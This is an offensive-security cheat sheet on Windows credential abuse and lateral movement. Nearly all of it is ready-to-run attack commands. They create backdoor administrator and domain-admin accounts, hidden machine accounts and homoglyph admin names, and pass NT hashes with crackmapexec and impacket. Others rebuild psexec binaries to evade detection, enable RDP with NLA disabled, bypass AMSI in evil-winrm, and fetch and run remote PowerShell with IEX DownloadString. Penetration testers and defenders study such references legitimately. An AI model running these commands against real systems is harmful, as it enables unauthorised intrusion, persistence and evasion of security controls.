Windows Credentials
2024-03-05 20:31:42

Credential Creation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
net user hacker Hcker_12345678* /add /Y
net localgroup administrators hacker /add
net localgroup "Remote Desktop Users" hacker /add # RDP access
net localgroup "Backup Operators" hacker /add # Full access to files
net group "Domain Admins" hacker /add /domain

# enable a domain user account
net user hacker /ACTIVE:YES /domain

# prevent users from changing their password
net user username /Passwordchg:No

# prevent the password to expire
net user hacker /Expires:Never

# create a machine account (not shown in net users)
net user /add evilbob$ evilpassword

# homoglyph Aԁmіnistratοr (different than Administrator)
Aԁmіnistratοr

Crackmapexec

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# With empty password as hash, change.
crackmapexec smb 192.168.1.100 -u Administrator -H ":31d6cfe0d16ae931b73c59d7e0c089c0"
crackmapexec ldap 192.168.1.100 -u Administrator -H ":31d6cfe0d16ae931b73c59d7e0c089c0" 
crackmapexec mssql 192.168.1.100 -u Administrator -H ":31d6cfe0d16ae931b73c59d7e0c089c0"
crackmapexec rdp 192.168.1.100 -u Administrator -H ":31d6cfe0d16ae931b73c59d7e0c089c0" 
crackmapexec winrm 192.168.1.100 -u Administrator -H ":31d6cfe0d16ae931b73c59d7e0c089c0"

# Note: There are different ways to specify target/targets
crackmapexec smb 192.168.1.1/24 -u Administrator -H ":31d6cfe0d16ae931b73c59d7e0c089c0"

crackmapexec <protocol> ms.evilcorp.org
crackmapexec <protocol> 192.168.1.0 192.168.0.2
crackmapexec <protocol> 192.168.1.0/24
crackmapexec <protocol> 192.168.1.0-28 10.0.0.1-67
crackmapexec <protocol> ~/targets.txt
1
2
3
crackmapexec smb 192.168.1.100 -u Administrator -p "Password123?" # Password
crackmapexec smb 192.168.1.100 -u Administrator -H ":31d6cfe0d16ae931b73c59d7e0c089c0" # NT Hash
export KRB5CCNAME=/tmp/kerberos/admin.ccache; crackmapexec smb 192.168.1.100 -u admin --use-kcache # Kerberos

Impacket

1
2
3
4
5
6
impacket-psexec.py DOMAIN/username:password@10.10.10.10
impacket-smbexec.py DOMAIN/username:password@10.10.10.10
impacket-atexec.py DOMAIN/username:password@10.10.10.10
impacket-dcomexec.py DOMAIN/username:password@10.10.10.10
impacket-wmiexec.py DOMAIN/username:password@10.10.10.10
impacket-wmiexec.py DOMAIN/username@10.10.10.10 -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

PSExec

Instead of uploading psexeccsv service binary, it uploads to ADMIN$ a service binary with an arbitrary name. PSExec default kavika13/RemCom binary is 10 years old, you might want to rebuild it and obfuscate it to reduce detections (snovvcrash/RemComObf.sh)

Use a custom binary and service name with : psexec.py Administrator:Password123@IP -service-name customservicename -remote-binary-name custombin.exe

Also a custom file can be specified with the parameter : -file /tmp/RemComSvcCustom.exe.
You need to update the pipe name to match “Custom_communication” in the line 163

1
2
162    tid = s.connectTree('IPC$')
163    fid_main = self.openPipe(s,tid,r'\RemCom_communicaton',0x12019f)

RDP

Enable RDP and disable NLA and fix CredSSP errors.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Enable RDP
PS C:\> reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0x00000000 /f
PS C:\> netsh advfirewall firewall set rule group="remote desktop" new enable=Yes
PS C:\> netsh advfirewall firewall set rule group="remote administration" new enable=Yes
PS C:\> netsh firewall set service remoteadmin enable
PS C:\> netsh firewall set service remotedesktop enable
# Alternative
C:\> psexec \\machinename reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0
root@payload$ crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f -M rdp -o ACTION=enable

# Fix CredSSP errors
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f

# Disable NLA
PS > (Get-WmiObject -class "Win32_TSGeneralSetting" -Namespace root\cimv2\terminalservices -ComputerName "PC01" -Filter "TerminalName='RDP-tcp'").UserAuthenticationRequired
PS > (Get-WmiObject -class "Win32_TSGeneralSetting" -Namespace root\cimv2\terminalservices -ComputerName "PC01" -Filter "TerminalName='RDP-tcp'").SetUserAuthenticationRequired(0)

Powershell Remoting

Credentials

1
2
PS> $pass = ConvertTo-SecureString 'supersecurepassword' -AsPlainText -Force
PS> $cred = New-Object System.Management.Automation.PSCredential ('DOMAIN\Username', $pass)

Powershell PSSESSION

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# Enable PSRemoting on host
Enable-PSRemoting -Force
net start winrm  

# Add the machine to the trusted hosts
Set-Item wsman:\localhost\client\trustedhosts *
Set-Item WSMan:\localhost\Client\TrustedHosts -Value "10.10.10.10"

# Execute a command
PS> Invoke-Command -ComputerName DC -Credential $cred -ScriptBlock { whoami }
PS> Invoke-Command -computername DC01,CLIENT1 -scriptBlock { Get-Service }
PS> Invoke-Command -computername DC01,CLIENT1 -filePath c:\Scripts\Task.ps1

# Interactive session
PS> Enter-PSSession -computerName DC01
[DC01]: PS>

# one-to-one execute scripts and commands
PS> $Session = New-PSSession -ComputerName CLIENT1
PS> Invoke-Command -Session $Session -scriptBlock { $test = 1 }
PS> Invoke-Command -Session $Session -scriptBlock { $test }
1

WinRM

WinRM runs on port 5985 or 5986. Default endpoint at /wsman. Enable using winrm quickconfig

1
2
3
4
5
6
evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM]
evil-winrm -i 10.0.0.20 -u username -H HASH
evil-winrm -i 10.0.0.20 -u username -p password -r domain.local

*Evil-WinRM* PS > Bypass-4MSI
*Evil-WinRM* PS > IEX([Net.Webclient]::new().DownloadString("http://127.0.0.1/PowerView.ps1"))

Others

PsExec - Sysinternals

1
2
3
4
PS C:\> PsExec.exe /accepteula \\srv01.domain.local -u DOMAIN\username -p password cmd.exe

# switch admin user to NT Authority/System
PS C:\> PsExec.exe /accepteula \\srv01.domain.local -u DOMAIN\username -p password cmd.exe -s

Mount remote share

1
PS C:\> net use \\srv01.domain.local /user:DOMAIN\username password C$

Runas

1
2
PS C:\> runas /netonly /user:DOMAIN\username "cmd.exe"
PS C:\> runas /noprofil /netonly /user:DOMAIN\username cmd.exe

Misc

To allow Non-RID 500 local admin accounts performing Wmi or PsExec, execute: reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /f /d 1

To prevent RID 500 from being able to WmiExec or PsExec, execute: reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v FilterAdministratorToken /t REG_DWORD /f /d 1

2024-03-05 20:31:42